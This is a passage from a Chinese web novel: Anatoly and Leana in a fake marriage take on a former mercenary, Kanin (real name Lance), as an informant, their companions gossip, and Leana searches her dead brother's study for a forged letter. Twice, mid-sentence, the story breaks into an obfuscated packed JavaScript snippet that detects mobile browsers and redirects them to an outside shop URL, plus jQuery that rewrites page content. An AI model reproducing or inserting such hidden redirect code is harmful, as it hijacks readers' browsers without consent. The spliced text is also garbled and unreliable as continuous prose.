厨师 烛光摇曳,二人平静地用餐,阿纳托利甚至有种他们仿佛是真夫妻的错觉。 莱安娜告知了他亨利的合作请求,虽然现在阿纳托利从个人情感出发,是很想揍亨利一顿的。但在查明阿萨特一案上,他和莱安娜无法拒绝亨利的合作邀请。 阿萨特是维斯特利亚坚实的盟友,除掉他对是扳倒教皇的必要一步。但阿纳托利觉得有些奇怪。 “如果是心腹,那维斯特利亚为何放任彻查医疗系统的方案通过。” “我猜阿萨特也做过维斯特利亚忌惮的事,借这个机会想让亨利敲打他呢,估计没想到亨利已经查到了人体实验。”莱安娜猜测道。 “这是个机会。防御司会把魔兽实验的事调查清楚。”阿纳托利点了点头:“但我现在完全接手了东区的事务,调查的工作这次需要其他人负责了。” “我来负责。” 莱安娜话音刚落,阿纳托利的脸色就有些不太好看。 “你看上去不太高兴。” 莱安娜撑着下巴笑着说。“现在的形势对我们有利,我了解阿萨特,我了解计划,没有比我更适合负责此事的人。阿萨特是维斯特利亚的心腹、也是魔法师制造计划的主要实验者,一旦除掉他,不仅能削弱维斯特利亚的力量,还可以破坏魔法师制造计划,这不是我们一直期待的吗?阿纳托利?” 阿纳托利知道对方言之有理,但他一想到亨利,就升起一种如鲠在喉的不安。他们现在因为局势所迫选择合作,那未来该怎么办? 他没有抓到实证都对莱安娜出手了,万一之后让他找到什么把柄呢? 阿纳托利担忧地注视着眼前人,慢吞吞地开口:“我怕亨利对你不利,不太希望你介入这件事。” “不用担心,合作期间亨利不可能再出手。” 见她打定主意,阿纳托利估计也只能让列昂尼德和哈克到时候把她看紧点,随后他想到了另一个问题。 “若是在庆典上,安全部和皇帝铁卫也没法保证亨利的安全呢?我们要帮忙吗?” “虽然我已经声明过防御司不会介入调查之外的事。但很遗憾,我们现在还真不能看着他去死,毕竟拉教皇下马还要指望他出力。” 莱安娜眼里有些惋惜。 “所以我准备到时候带上哈克,万一有什么变故,至少要留亨利一条命。” 刚说完她发现阿纳托利的脸色又有点不好看了起来。 莱安娜:? 阿纳托利十分不满,也就是说真到危急关头还得保护亨利! “怎么了?” “没什么,我讨厌亨利。” 难得听到阿纳托利说自己讨厌某人,莱安娜倒是很新鲜。 “他确实是个烂人,但现在局势所迫,还是请司长以大局为重,毕竟我们的首要对手是维斯特利亚啊。”她微笑着安抚对方的情绪。 阿纳托利的脸色有所缓和,笑着摇了摇头。 他早知道莱安娜要自己保护亨利是出于现实考虑,而不是私人感情。但是只有听对方亲口说了之后才会放心。 原本下午那束指尖翡翠让他耿耿于怀,但现在他却释然了。对方不过是个搞一些花里胡哨招数的臭小子,一看就诡计多端、心术不正,还好莱安娜清醒后完全忘记了那束花…… 这样说来,自己似乎不该和一个无关紧要的臭小子较劲。他对于莱安娜可是相当特殊的人,把这种事放在心上不是自降身份吗? 他想明白了这一点后又有些得意起来,心情好了许多,坐他对面的莱安娜倒是对他情绪的起起伏伏有些摸不着头脑。 结束了工作上的安排,两人又闲聊起其他事情,就在阿纳托利沉浸在这段如同偷来的二人时光的时候,厨师走了过来。 “不知道二位对今晚的菜品是否满意?” 他搓着手期待地看向莱安娜。 “我很喜欢,谢谢您。” 莱安娜回答道。 “您突然这样问是薪资上有什么问题还是其他方面的要求呢?”她笑着看向对方。 “是这样的夫人,不是涨薪的问题,是之前发布的聘用助手的信息有消息了。” “这么快就找到合适的人了?那人厨艺如何?” 莱安娜惊喜地看着查克厨师。 “今天晚上的菜是他做的,二位放心他的厨艺相当精湛,并且是位勤快本分的小伙子,听说是故乡遭遇了魔兽潮,才来圣都碰碰运气。” “我很喜欢他做的菜,阿纳托利,你觉得呢?” 莱安娜撑着下巴抬眸看着他。 “如果你喜欢的话,那他的厨艺过关了,但是我们需要见他一面,问他一些问题,比起厨艺,我认为能否保守秘密和隐私更加重要。” 阿纳托利语气相当认真。 “这个简单,他就在后厨呢,二位想要面试他我马上叫他过来!”查克厨师满心欢喜地跑出了内厅,朝后厨去了。 “看来这位助手很勤快机灵呢,不然也不可能得到查克厨师的推荐。” 莱安娜笑道。 “再机灵也要看品行,如果查克厨师不是露比推荐,我恐怕也会再观察两个月才会录用。” “你倒是谨慎,但如果那样,在录用他之前我吃什么?” “我们都会做饭。”他认真解释道。 “是干炖土豆还是蔬菜杂烩汤?得了吧,就你的厨艺……”她嘲讽道。 阿纳托利正准备为自己的厨艺正名,那位助手已经在厨师长的带领下推门而入。 莱安娜还在打量这位年轻人,等待他的自我介绍,阿纳托利突然开口叫出了这位年轻人的名字。 “卡宁?” 莱安娜听出了他声音的戒备,瞬间提高了警惕。 “难得您还记得我。”那位青年摘下厨师帽,抬起头来。 “二位之前认识?”厨师似乎毫不知情。 “查克厨师,你先下去,我们需要单独和这位先生聊一聊。” 查克有些摸不着头脑,但还是离开了。 莱安娜观察着阿纳托利的脸色,这人的脸冷得都快结冰渣子了,不知道这个应聘的助手到底是什么来头,打的什么算盘。 她靠着椅背,等待一个详细的解释。 “按照我们的约定,我保你在布鲁城的平安,你帮我控制城主,已经两清了,你是怎么查到我的身份的?跟来这里有什么图谋?” 莱安娜听到此处便理解了前因后果,回想起来之前布鲁城释放的那个伤害城主的年轻人似乎是叫卡宁。 “您不必紧张,我没有坏心思,我曾在北地骑士团的预备队中服役过,原本可以入选泰西防线的正式编制的,因为一些意外落选了,这才成了辗转各处的雇佣兵。您或许不记得我,我曾参加过北地的大溃散保卫战,和您一起战斗过,我见过您的剑,这才认出了您,阿纳托利团长。” 他一边说着,一边掏出了一枚银质的名牌,递给了阿纳托利。 阿纳托利接过,检查了一番。 “兰斯·斯图恩·····” “对,这是我的本名。卡宁是雇佣兵的代号。” 阿纳托利微微一愣,心想道:“这不是伪造的,他竟然真的曾是北地军人。” 随后他继续问。 “那你雇佣兵当得好好的,为什么要来圣都?” “布鲁城的事让我知道了您是位言出必行的人,这样的上司可不多见了,跟着您或许很有前途,从我被放出来之后就发誓要对您效忠,但您走得也太急了,还没有告别就将我一个人留在了城里,真是绝情。” 他无奈地摊了摊手。 “我这才顺藤摸瓜地来到了圣都,您的住所外应该会有严密的监视,我只能通过厨师助手的应聘才不会引起怀疑。” 阿纳托利听着他避重就轻的解释,这人真是圆滑至极,绝口不提自己的目的。 “说什么效忠,不过也是有要利用我的地方。” 他心中对卡宁的戒备更深了两分。 “我不需要你的忠诚,你到底有什么目的?” “团长您别这么着急拒绝我的好心啊,我可是带着相当足的诚意来的。” “别叫我团长,你不是泰西防线的一份子,而我也不需要来历不明、居心叵测之人的诚意。” “······” 卡宁似乎没有想到阿纳托利会如此果断地拒绝自己,就在他还准备再说两句的时候,莱安娜开口了。 “先听听他带了怎样的诚意来吧,阿纳托利,给他一个机会。” 她微笑着起身,走到了阿纳托利的身边,俯身在他耳边低语。 “不管这人打的是什么主意,先看看他的筹码,这对我们没有坏处。” “他是个狡猾之人,不可信赖,无论他有怎样的诚意都不行,我怕他留在这里会泄漏你的情况。” “我知道,先听一下他怎么说。” 她拍了拍阿纳托利的肩膀,随后笑着看向卡宁。 “说出你的诚意吧,我对此很感兴趣。” “好的,夫人。” 他抬起头的时候目光游离在莱安娜和阿纳托利之间,阿纳托利让厨师查克出去,说明他并不想让其他人知道他去过布鲁城,以及布鲁城发生的事,但是这位夫人显然不在排除的范围以内,甚至刚才两句话就改变了阿纳托利要自己立刻离开的口风。 他在心中默默盘算二人的关系。 “二位应该都知道布鲁城的事,在阿纳托利长官离开后还发生了刺杀事件,我很熟悉雇佣兵组织和各种民间冒险者组织,我已经调查出了那次刺杀背后的人,我认为这个情报二位是需要的。” “先不提莱安娜主教刺杀案已经确定是维克多主教所为,你为什么会觉得我们需要这个情报” 莱安娜反问道。 “维克多主教不是凶手,这一点我可以肯定,有了这份证据能拉拢一些人,也可以要挟一些人,我只是提供道具,至于这份道具的价值具体如何,要看二位想要如何使用。” 他意味深长地看向莱安娜。 莱安娜皱了皱眉。 “果然如阿纳托利所说啊,是个很狡猾的人。” 她心想道。 “说具体一点。”阿纳托利问道。 “虽然神使团听命于维斯特利亚教皇,但行刺的人却是蜘蛛会的雇佣兵,而我在蜘蛛会里的朋友告诉我,当时这笔大生意是一位王廷骑士去谈的。” “你怎么知道是王廷骑士?他们应该会隐藏身份才对。”阿纳托利质疑道。 “服饰可以改变,但是习惯很难隐藏……我朋友说那人在进入蜘蛛会组织内部时,一只手一直搭在魔导器上,另一只手握着剑鞘中间,这是王廷骑士才有的用剑习惯。” 王廷的剑型魔导器做了使用者匹配处理,一人一剑不得交换,剑鞘和剑身的贴合做了特殊处理,需要主人同频魔力才能打开。 莱安娜点了点头,随后笑道。 “你知道得挺多啊。” “我们这些在泥沼里求生的人,如果不耳听八方都不知道怎么死的。” 他淡然一笑。 “所以经过调查我可以确定,谋杀莱安娜主教的人不仅有维斯特利亚教皇,还有亨利皇帝。” 莱安娜笑着没有回答他。 见莱安娜没有表达出对这个信息的兴趣,他随后继续开口。 “哪怕您二位对这个信息不感兴趣,没有利用这个信息的打算,至少通过这个信息也能说明我在雇佣兵团和民间组织里的情报搜索能力,我可以为二位寻找你们需要的情报。” “我无法信任一个投机者的情报,请回吧。” 阿纳托利似乎一点机会都不给他。 卡宁有些没招了。 “按道理我给出的情报是相当有价值的,哪怕他真不打算利用刺杀的把柄,在民间组织的调查也很有价值,连这都打动不了他?他到底在忌惮什么?” 正当卡宁觉得束手无策时,峰回路转。 “阿纳托利,让他留下。” 莱安娜开口了,她满意地打量着卡宁。 “如果阿纳托利你不愿意留下他的话……卡宁,你向我发誓效忠如何?” 莱安娜笑着看向卡宁,一旁的阿纳托利欲言又止地盯着莱安娜,但没有立刻反驳她。 “承蒙夫人的赏识,但我已经发誓会对阿纳托利团长效忠了,自然不能背弃誓言。” 他恭敬地回答,随后抬眸打量起了莱安娜。 “而且夫人不过也只是试探我罢了,真要是答应了,您会第一个把我扫地出门的。” 莱安娜微微一笑,没有说话。 这人反应很灵活,莱安娜说实话真的很想留下他。 “列昂尼德、娜塔莉娅他们的能力都很强,并且也值得信赖。但他们都太直来直去了,阿纳托利身边确实没有能够帮他处理一些来自暗处恶意的人。” 莱安娜一边盘算着,一边再一次俯身在阿纳托利耳边低语。 “我们有用得着他的地方。” 她对阿纳托利说道。 阿纳托利满脸不情愿,读懂了他心思的莱安娜继续解释。 “他熟悉民间组织和雇佣兵团,没准能帮你查明白南下时的那次袭击,我们很需要他的情报。” 阿纳托利明白了莱安娜的用意,自己被袭击,还有伊莉雅那边的事情确实需要着手调查,但他仍有顾虑。 “那你……” 他覆上了莱安娜搭在他肩上的手,非常担忧。 “我自己小心就好,我们不能放过打入蜘蛛会内部的机会,而且我之后还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221631|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有其他事想让他查一查。” 她低声说,轻拍着阿纳托利的肩。 阿纳托利不再说话,握紧了她的手,示意自己知道了。 “行,你可以留下。” 阿纳托利松口了。 “感谢两位的信任。” 他深深地鞠了一躬,抬头时盯着莱安娜微微颔首,自己能够留下恐怕是这位夫人的授意,二人关系中谁是主导的一方卡宁一目了然。 “但我们需要知道你的真实目的。” 阿纳托利警惕地打量着对方,而目的已经达成的莱安娜踱步到了餐桌的另一边,坐下后开始慢悠悠地继续吃晚餐。 “我会帮助您回到北方,帮助您彻底控制泰西防线的防御团和北地骑士团,我可以帮助您做任何事,达成任何目的,不惜一切代价,只求您在未来帮我报仇……处死北地哈德莱伯爵的长子……” 莱安娜撑着下巴津津有味地听着, “原来是要复仇啊。” 她明白了对方的动机,但北地贵族之间的纠纷她并没有资格干涉。 她放下了汤碗,起身看向了阿纳托利。 “我先上去了。” 她有意回避。 “你再等一下。” 莱安娜有些意外,顿了一下后,坐了回去。 卡宁继续解释,阿纳托利和莱安娜大概明白了他的所求。 卡宁出生在一个普通人家,原本可以顺利加入泰西防线,过上正常稳定的日子,却因为得罪了伯爵长子,遭到了加害,被搞得家破人亡,成为雇佣兵后一直想报仇,也想过以命换命。 但伯爵身边安全严密,没有下手的机会。同时哈德莱伯爵是帮助伊莉雅继承公爵的重要功臣,想要挑起贵族间的矛盾,借刀杀人也不太可能,北地现在谁敢动伊莉雅的人。 “明里暗里都不行,这才把阿纳托利当成了救命稻草啊。” 莱安娜心下了然。 卡宁拿出了一个盒子递给阿纳托利,里面的投影石汇集了哈德莱伯爵一家的罪行。 “我明白了,你可以暂时先留在这里,关于哈德莱伯爵长子的罪行我会派其他人进行核实,如果他真的做了你刚才说的那些事,我承诺在回到北方之后帮你把他绳之以法,送他上北地的法庭。” 阿纳托利认真地看着他。 卡宁似乎对他的答复有些惊讶,愣了两秒后才回答。 “如果法庭没法审判他呢?” “会的,如果法官不审,就把他移送到军事法庭,毕竟你当时算北地的军人。” 他微笑道。 “好的,那我等待您的指令。” 他朝阿纳托利鞠了一躬。 莱安娜皱着眉叹了口气。 “阿纳托利没有理解卡宁的意思,一个穷尽手段都无法复仇的人怎么可能寄希望于庭审,与其说他求的是正义,不如说他求的是一场报仇雪恨的灭门……有伊莉雅庇护,谁敢动哈德莱伯爵,但如果伊莉雅不在了呢?卡宁找上阿纳托利恐怕是有换掉北境之主的心思……还真是大胆的人。” 她心中盘算着,阿纳托利没有这样的野心,卡宁此时愿意接受阿纳托利审判的提议,不知道是不是权宜之计,但目前看来能够合作。不过自己之后恐怕得找机会再和卡宁谈谈。 这人对于局势的嗅觉很敏锐,而且和一些灰色组织联系密切,如果真的能够为他们所用可以解决很多麻烦。 她松了口气,认为这件事已经差不多解决了,准备回自己的房间。 “之后的事情就辛苦你和这位先生商量吧,我有些累了。” 说罢她起身整理了下有些厚重的裙摆。 “你去休息吧,药我之后会拿到你的房间。” 阿纳托利回答道。 卡宁却敏锐地捕捉到了异常。 “你的房间?” 他心里嘀咕,疑问脱口而出。 “二位没有住在一块儿?” 有个猜测在他心中浮现,两人的相处并不像寻常夫妻,再加上这个细节,卡宁对自己的猜想有了五六分把握。互相掌握秘密或许能让彼此关系更加紧密。 莱安娜瞪了一眼阿纳托利,多说多错!被这人发现了端倪。 但现在怎么说,卡宁还不能完全信任,还不能让他知道自己只是假结婚隐瞒身份。 阿纳托利狠下心,决定舍弃形象。 “因为我睡觉打呼……” “因为我们之前在冷战吵架,今天刚和好。” 莱安娜提高了音量打断了他。 “对吧,亲爱的?”她歪着头看向阿纳托利。 “对……” “我现在已经原谅你了,你之后可以搬回来。”她笑得很温和,仿佛真的是刚刚原谅对方的样子。 阿纳托利深吸一口气,否定的话和疑问仿佛马上就要脱口而出。 莱安娜见势不妙,快步走到他面前,捧起他的脸,俯身吻上了他,将他即将脱口而出的话堵得死死的。 卡宁有些尴尬地咳嗽了两声,他这个外人还在这里,两位属实是有些不管他的死活,但是想到是新婚夫妇倒也不是不能理解。 大概过了十秒左右,莱安娜松开了阿纳托利。 “你明白了吗?亲爱的?” 阿纳托利只觉得大脑一片空白,耳边隐约有莱安娜的声音,带着温和的笑意,他满眼都是莱安娜近在咫尺的的眼睛,至于对方说了什么他完全听不清楚了。 “好……” 他迷迷糊糊地答应道,还好他不是容易脸红的人,正面看他仍是面不改色的样子,他祈祷莱安娜没有看到他已经红得发烫的耳根。 莱安娜还嘀嘀咕咕地说了两句,不知道说了什么,摸了摸他的的脸颊就上楼去了。 他愣了好一会儿才回过神来。 “自己真的好没出息啊!” 正在他在内心感叹自己好失败的时候,晾在一旁的卡宁尴尬地咳嗽了好几声。 “咳咳……那个……团长,您说我可以暂时先留在这里,那在这期间除了后厨,我还需要做什么工作?” “抱歉……刚才……” “可以理解,我都理解的。” 他一副善解人意的样子。 “不是,你都理解了什么啊?”阿纳托利在内心咆哮。 “咳咳,我会对外说因为来应聘的厨师助手很有天赋,推荐你去防御司应聘的,以你的能力应该能够通过防御司的测试,之后你除了做饭,其他时间和我一起行动。” “好的,我明白了。” “还有别用卡宁那个代号了,你不是有自己名字的吗,身份证明之后会帮你完善的。欢迎你的加入,兰斯,以后我们就是同伴了。” 兰斯微微一愣。 “我绝不会让您失望。” 85. 同伴们的八卦时光 马克西姆外出采购了一堆药,他从不在圣都的市场采购,一是因为价格、二是因为效力、三是为了避免被人掌握药品需求。 他会去圣都附近的村镇寻觅,经过一段时间的踩点,他已经和好几位药农搭上线了。 优点是物美价廉且不容易被人查到。 缺点是很花费时间。 他背着大包小包回去的时候已经快午夜了。 “今天还真是让人火大的一天呢。” 他捏紧了手里的药。 工作很麻烦就罢了,饭也没吃上,再加上今天下午莱安娜竟然被亨利投了过敏原出现休克反应了。 自己精心治疗照顾了几个多月的病患,身体健康终于开始有起色了。 诶嘿,被人投过敏原休克了。 “这和投毒有什么区别!谁投的!我要掐死他,知不知道我花了多少时间、多少精力才让病人的健康有好转!” 他气得想咬人。 如果有人用一个下午毁掉一位医师几个月的努力,那位医师一定会想活撕了他。 不想莱安娜,一想其他几个同伴,哎呦喂,也是不在意自己身体的:娜塔莉亚休息日会变成酒鬼,列昂尼德会熬夜打牌、远在北方的海姆不知道偷偷抽了多少烟……一想到这些他真是一个头两个大。 “这都什么破事儿啊!” 他提着草药包,如同一只负重前行的仓鼠爬回宅邸时,却发现列昂尼德在他房间里等着。 “你这么晚不睡觉,来我房间干嘛?” 他一把将草药包丢在地上,也不管列昂尼德,径直倒在了床上。 他刚躺下,同样拖着疲惫身躯的娜塔莉娅也来了。 “你们聚在这儿干嘛?”她非常不解,踹了马克西姆两脚,示意他给自己挪下位置。 “你这个加班狂魔都下班了,怎么还没见到斯捷潘?” 马克西姆困惑道。 娜塔莉亚:“他和露比神官去研究所了,研究魔导器,他应该还在赎罪呢。” “赎罪?” “可不是吗?他似乎用留影石录了露比神官喝醉时的话,用这个威胁了对方太多次,把对方惹火了,所以现在忙着做实验,想要将功补过。” 娜塔莉娅摇了摇头后,直接抢过对方的枕头,美美躺下,继续问:“所以列昂尼德你到底来这里干嘛?” “长官新招了一个情报官,从圣都招的,已经住进来了,在我的隔壁。” “嗯?” 马克西姆从床上爬了起来,揉了揉眼睛,娜塔莉娅也有些意外。 “阿纳托利长官一向谨慎,怎么会这么快做决定,这个同事什么来头?”马克西姆先发问。 “长官已经和我说了,这位是他在布鲁城认识的,因为可以提供雇佣兵组织之类的情报,所以有合作。” “雇佣兵?可以信赖吗?”娜塔莉娅有些怀疑。 “他会直接和长官对接信息,长官说了其他工作我们正常配合就行,不用和他信息共享,涉及北境的一些计划方案不用告诉他,但最重要的一点是,长官强调了莱安娜主教的身份必须保密。” “我们保密倒是简单,但他俩这假夫妻,住一个屋檐下的,那人难保不会看出什么吧?” 娜塔莉娅有些担忧。 “所以长官已经搬到莱安娜小姐的房间去了。” 列昂尼德挑了挑眉,意味深长地看了马克西姆和娜塔莉娅一眼。 马克西姆没有反应过来,娜塔莉娅一下子就明白了,和列昂尼德默契地对视,感叹道: “女神在上……太刺激了!” 她露出一个心满意足的笑容,随后一把握住列昂尼德的手。 “好兄弟,你就是我异父异母的亲兄弟,谢谢你大晚上告诉我,不然我都不知道错过了什么!” “客气。”列昂尼德仗义地拍了拍自己的胸脯。“喝酒吗?我从地窖里拿了果酒。” 列昂尼德老父亲一样的欣慰的笑容根本压不下去。 “喝!”娜塔莉娅兴奋地点头。 “神明啊!阿纳托利他终于走出求婚被拒的情伤,开始新生活了。”列昂尼德的嘴角不自觉上扬。 “是啊,我还记得那次新年聚会。长官喝醉了之后趴在桌上号啕大哭的样子。”娜塔莉亚扶额。 “别提那事了,那都将成为过去。” 列昂尼德笑着和娜塔莉娅对视,但一旁的马克西姆似乎没搞清楚状况。 “不是?你们在开心什么?长官现在要被迫和莱安娜睡在一个屋子里,在确定那个雇佣兵可信之前都要住在一起,虽说是合作对象,但莱安娜小姐毕竟是教会的人,长官既需要戒备她,又要共处一室,你们不觉得这很糟糕吗?” 马克西姆一脸担忧,说得义正严辞。 “哇哦,这里还有个傻子诶。” 娜塔莉娅和列昂尼德对视一眼,心中如是想道,随后用看傻子的眼神盯着马克西姆。 他俩真想反问,马克西姆到底哪里看出来阿纳托利戒备莱安娜的,哪次情报哪次信件没给她看过,又是请厨师又是选药材。 但想了想还是没有给马克西姆说破。 “算了,和刚成年的年轻人也没什么可说的。” 列昂尼德压低声音在娜塔莉娅耳边说了一句。 娜塔莉娅点了点头。 两人再一次默契地握了握手。 马克西姆一头雾水,总觉得他俩似乎像是在说自己的坏话。 “怎么办,关于莱安娜主教的事情需要向他保密,我真的好想当面问他今天到底发生了什么!感觉一定很精彩!” 娜塔莉娅托着脸蛋兴奋地遐想。 “没事,之后旁敲侧击地问问不打紧。”列昂尼德冲娜塔莉娅点了点头。 “你们还是离他远点吧,因为他的加入,给长官增加了负担,长官心里一定不太喜欢这人,你们瞧着吧,他一定会被苛扣工资的。” 马克西姆语气十分笃定。 “这孩子已经没救了。”列昂尼德和娜塔莉娅沉痛地摇了摇头。 “你还真是学医学傻了!”列昂尼德感叹道。 “你到底是什么意思?” “我的意思是不管那个雇佣兵是不是值得信任,长官都应该感激他。” “?” 马克西姆摸不着头脑,而走廊尽头房间的兰斯打了一个大大的喷嚏。 而阿纳托利并没有他们预期那样开心。 实不相瞒,他现在恨不得让列昂尼德给他脑袋上来一锤,砸昏了了事。 “怎么可能睡得着啊!” 他死死地盯住天花板。 莱安娜侧躺在他的旁边,或许因为药物的作用,这个平时睡眠极浅的人竟然在和自己聊工作的时候睡着了。 他们当时仍在讨论防御司和亨利的合作。 定了正事之后,两人又聊到了东部的一些事儿,海姆对奥菲莉亚在泰西防线的安排,除了这些事,他还有许多事情想和莱安娜说。 借着这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223459|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴差阳错的契机和身份,会不会更容易得到她的信任呢?会不会能得到更具体的回答呢? 他们之间隔的不只是这加班的这段时间,还有整整八年。 “你明明之前身体很好,我们一起前往呼啸谷准备材料,连着淋了三天的雨,愣是一个喷嚏都没打,为什么现在健康情况如此堪忧?” “为什么你会搬出艾夫忒宁家,你和文森特之间到底发生了什么?那次家变到底怎么回事?” “为什么亨利要对你动手?” “你是不是有什么麻烦?” “你是不是需要我?” 这些问题盘旋在他心中许久,他想问一下莱安娜,哪怕莱安娜并不会给他答案。 但很遗憾,刚刚讲完海姆给奥菲莉亚安排的自习内容时,他就听到了均匀的呼吸声。 对方已经耷拉下了头,闭上了眼睛。 他只得把所有的问题又咽回了肚子。 他扶着莱安娜躺下,给她整理好了被子,然后平躺在她的身边。 爱人就在他的身旁,但就在这看似无比亲密的时刻,他高兴不起来。 在梦做到了最美好的那刻,不真实感是最强的,也是最容易清醒的。 在离对方最近的时候他却突然看清了什么一般,想要退缩了。 “都是假的。” 他看着熟睡的侧脸叹了口气。 回忆来到圣都的一路,莱安娜什么都不给他透露。除非万不得已,否则也不会主动寻求帮助,主动提出需求。这算是一种不信任的表现吗? 他的眼神一点点地暗淡了下去。 “莱安娜对我所有的亲密举动,都是出于表演的目的,其中是否掺杂一点点她的个人感情呢?恐怕没有吧。” 无论是在婚礼上主动给他的那个吻,还是之后在其他人前的牵手拥抱,还有今天在兰斯面前主动吻他,似乎都不是出于她的情感,不过是一种局势所迫的手段。 “你不爱我?” 阿纳托利突然觉得无论是吻还是拥抱还是同床共枕的时光,亦或者丈夫这个假的身份都像自己偷来的一样。 因为这些东西并不属于他,似乎早晚莱安娜都会收回去,只留给他一个冷淡的背影。 这场戏里,莱安娜一直都很清醒,只是自己越陷越深了。 “你要让我怎么办呢?你永远都是这样,若即若离,近在咫尺又遥不可及。” 他心里埋怨着这个没心没肺已经睡着的人。 他翻身侧对着她,正在下定控制感情的决心。 熟睡的莱安娜朝着他挪了两下,感受到了温暖,她的手搭了过来。 刚才下的决心像个笑话一样碎得一干二净。 他没有推开对方,完全是下意识就回应了对方索取温暖的行为。 莱安娜的头几乎贴在了他的脖子上,他连对方呼吸的轻微颤动都能感知到。她的手脚冰凉,哪怕在无意识的睡梦里也贪恋他的温暖,贴得越来越近。 阿纳托利能够清楚地听见自己的心跳声,他紧闭着眼睛,不敢动也不敢睁开眼,仿佛一切像是一个易碎的梦。 “如果都是假的,那就这样吧。” 他喃喃自语,像是自暴自弃了一般,睁开眼睛,将对方圈到了怀抱里。” “哪怕一切都是假的,但我对你却总是真心。” 他在对方额头上落下一吻。 “如果我向你表达心意,你会回应我吗?” 他轻声询问,但熟睡的人没法回答。 86. 被销毁的信件 莱安娜醒来的时候觉得有些恍惚。 她很久没有睡得这么安稳了,魔力疗愈的后遗症、药物的侵蚀都让她的身体不似过去那样健康,加上最近地脉波动的异常和种种压到面前的计划,她每次醒来都会感到一阵心悸。 难得有种身心放松的感觉。 “好像是和阿纳托利聊天聊着聊着就睡着了……似乎有些放松过头了……昨天重要信息有遗漏吗?” 她回忆了下,在确认没有遗漏重要事情之后松了口气,靠着枕头开始放空,过了一会儿才缓缓转头看向时钟。 “怎么已经这个点了!” 她连忙起身,她原本是计划趁这个时间去艾夫忒宁旧宅再调查一下。 今天列昂尼德和娜塔莉娅都在,二人得知她要外出独自调查后,都强烈反对。 “想来也是因为昨天亨利的事情,他们才会如此紧张吧。” 莱安娜有些无奈。 昨天娜塔莉娅和列昂尼德有其他事,因而没有随她一起去见亨利。 “但是哪怕他们在,也改变不了什么,亨利一定会想其他招数来试探我,不是过敏原也会是其他东西。” 莱安娜确信无疑,但现在看来,她恐怕之后没法如之前那般自由行动了。 “您是要去哪里?务必让我俩和您同去。” 列昂尼德诚恳地说道。 莱安娜知道这应该是阿纳托利的授意。 “我今天要去艾夫忒宁的旧宅找一些东西,需要不被人察觉,列昂尼德你太惹眼了,会被人认出来的,娜塔莉娅回圣都的时间不长,这次娜塔莉娅和我一起去吧。” “如您所愿,阿琳娜小姐。” 娜塔莉娅点了点头,随后对列昂尼德昂起头露出如胜利者一般的微笑。 这莱安娜倒是看不明白了。 莱安娜在穿上了珠宝行店员的服饰之后,和娜塔莉娅一起走到了车行,借了一辆马车,装作是送珠宝的人前往了艾夫忒宁旧宅所在的居住区。 那里聚集了不少贵族,伪装成送货上门的人不会引起任何人的怀疑。 等到了街区口,下车后二人来到了目的地。 莱安娜带娜塔莉娅来到了后门,这里的小门没有关,只安装了一个屏障装置方便进入。 二人顺利进入宅邸的庭院,总算可以自由行动和说话了。 娜塔莉娅这才发问。 “这里看上去很漂亮,我听说小姐成为神官后就一直待在教会分配的住所里,为什么不在这里住呢?” 莱安娜微微一顿。 “开始的时候,是因为教会更方便,后来在我兄长过世后,这里也没什么好留念的了……” 娜塔莉娅以为自己勾起了对方的伤心事,急忙道歉。 “抱歉,我……” “不必道歉,都过去了。” 她温和地揭过了这个话题。 “我今天来这里就是为了再整理下我兄长的遗物,毕竟快到他的祭日了,当时他走得很突然,留了一个很大的烂摊子给我呢,当时忙着继承的事情,谁知道刚处理好家变,东区又出事了?他的遗物一直乱糟糟的,现在总算是有时间可以整理一二。” 她眼中怀念与悲伤是那样自然,娜塔莉娅没有丝毫怀疑。 “有什么我能帮您的吗?” 娜塔莉娅开口问道。 “谢谢您的好意,但是那毕竟是我亲人的遗物,我还是想自己亲手整理……”她的眼底的悲伤像是要漫出来一般,娜塔莉亚有些不忍心与她对视了。 自从她和莱安娜接触以来,这人一直都是冷静理智的,难得流露出如此悲痛的情绪,娜塔莉娅实在不忍心打扰她。 “那好,我会在大厅等您的,您有什么需要随时叫我。” “好。”莱安娜朝她笑着点了点头,独自上了二楼,径直去了文森特的书房。 在文森特死后,别说文森特的东西她一点都不想碰,整座宅子她都一股脑地封了起来。 “我记得他收到的信件都会放在这个柜子里的……” 她打开了柜子。 “阿纳托利当时给我写的信送到了艾夫忒宁的宅子,并且收到了假的回信……住在艾夫忒宁宅子里,熟悉我笔迹,还能用特制纸张和火漆的人只有文森特……” 柜子分成了很多格,按照日期规范地摆着。 “阿纳托利的信里到底写了什么?文森特到底回复了什么,才让阿纳托利对自己的态度如此奇怪。” 莱安娜心里开始有些火大,翻找的动作越发粗暴。 “在布鲁城最开始考虑到教会的立场没有和我相认倒是能够理解,在救了我认出彼此后,他还总是刻意地在保持距离……文森特那封信里到底写了什么!” 她一边想着一边踢了柜子一脚。 “该死,这边怎么没有!” 她叹了口气。 最生气的是,阿纳托利还不愿意给她透露那封信的内容,竟然用一个拙劣的借口想敷衍过去。 “呆子!竟然说信的内容是邀请我去北地旅游?冬天的北地出门都困难,编借口也不知道编好一点。而且那时候都敢写信给我,现在怎么不敢说了?心虚什么!” 她将柜门摔摔了一把。发出哐的声音。 “阿琳娜小姐,你还好吗?” 放门外传来了娜塔莉娅的声音。 “没关系,我不小心踢到柜门了。” 她敷衍道,然后苦恼地叹了口气。 随后她反应了过来,狠狠拍了拍自己的脑袋。 